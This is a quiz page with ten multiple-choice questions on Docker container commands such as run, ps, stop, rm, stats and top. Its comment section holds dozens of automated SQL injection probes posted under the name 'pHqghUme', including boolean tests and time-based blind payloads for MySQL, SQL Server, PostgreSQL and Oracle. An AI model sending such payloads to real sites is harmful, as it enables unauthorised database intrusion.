Docker Container MCQ

Docker Container MCQs : This section focuses on "Container" of Docker. These Multiple Choice Questions (MCQ) should be practiced to improve the Docker skills required for various interviews (campus interview, walk-in interview, company interview), placements, entrance exams and other competitive examinations.

1. ___________ are instances of Docker images that can be run using the Docker run command.

A. Hub
B. Container
C. File
D. Cloud

View Answer


2. Running of containers is managed with the Docker ______ command.

A. CREATE
B. INSERT
C. RUN
D. SUDO

View Answer


3. One can list all of the containers on the machine via the ____________ command.

A. docker run
B. docker pc
C. docker r
D. docker ps

View Answer


4. Which of the following tells the docker ps command to list all of the containers on the system?

A. -p
B. -r
C. -a
D. -z

View Answer


5. Which command you can see all the commands that were run with an image via a container.

A. ref
B. history
C. -a
D. hist

View Answer


6. ContainerID is the Container ID for which you want to see the top processes.

A. TRUE
B. FALSE
C. Can be true or false
D. Can not say

View Answer


7. which command is used to stop a running container?

A. drop
B. remove
C. stop
D. delete

View Answer


8. Which command is used to delete a container?

A. delete
B. remove
C. rm
D. drop

View Answer


9. docker stats command is used to provide the statistics of a running container.

A. TRUE
B. FALSE
C. Can be true or false
D. Can not say

View Answer


10. docker top you can see the top processes within a container.

A. Yes
B. No
C. Can be yes or no
D. Can not say

View Answer





Discussion



* You must be logged in to add comment.

pHqghUme
555

pHqghUme
555

pHqghUme
555

pHqghUme
-1 OR 2+365-365-1=0+0+0+1 --

pHqghUme
-1 OR 3+365-365-1=0+0+0+1 --

pHqghUme
-1 OR 3*2<(0+5+365-365) --

pHqghUme
-1 OR 3*2>(0+5+365-365) --

pHqghUme
-1 OR 2+947-947-1=0+0+0+1

pHqghUme
-1 OR 3+947-947-1=0+0+0+1

pHqghUme
-1 OR 3*2<(0+5+947-947)

pHqghUme
-1 OR 3*2>(0+5+947-947)

pHqghUme
-1' OR 2+640-640-1=0+0+0+1 --

pHqghUme
-1' OR 3+640-640-1=0+0+0+1 --

pHqghUme
-1' OR 3*2<(0+5+640-640) --

pHqghUme
-1' OR 3*2>(0+5+640-640) --

pHqghUme
-1' OR 2+679-679-1=0+0+0+1 or 'yJZcw7lH'='

pHqghUme
-1' OR 3+679-679-1=0+0+0+1 or 'yJZcw7lH'='

pHqghUme
-1' OR 3*2<(0+5+679-679) or 'yJZcw7lH'='

pHqghUme
-1' OR 3*2>(0+5+679-679) or 'yJZcw7lH'='

pHqghUme
-1" OR 2+364-364-1=0+0+0+1 --

pHqghUme
-1" OR 3+364-364-1=0+0+0+1 --

pHqghUme
-1" OR 3*2<(0+5+364-364) --

pHqghUme
-1" OR 3*2>(0+5+364-364) --

pHqghUme
if(now()=sysdate(),sleep(15),0)

pHqghUme
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme
-1; waitfor delay '0:0:15' --

pHqghUme
-1); waitfor delay '0:0:15' --

pHqghUme
1 waitfor delay '0:0:15' --

pHqghUme
ELDkhzXr'; waitfor delay '0:0:15' --

pHqghUme
-5 OR 697=(SELECT 697 FROM PG_SLEEP(15))--

pHqghUme
-5) OR 523=(SELECT 523 FROM PG_SLEEP(15))--

pHqghUme
-1)) OR 211=(SELECT 211 FROM PG_SLEEP(15))--

pHqghUme
tH1JGT7s' OR 305=(SELECT 305 FROM PG_SLEEP(15))--

pHqghUme
rZtNIHlJ') OR 171=(SELECT 171 FROM PG_SLEEP(15))--

pHqghUme
CZ93Rkms')) OR 437=(SELECT 437 FROM PG_SLEEP(15))--

pHqghUme
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme
1'"

pHqghUme

pHqghUme
@@WOlrv

pHqghUme
555

pHqghUme
555

pHqghUme
555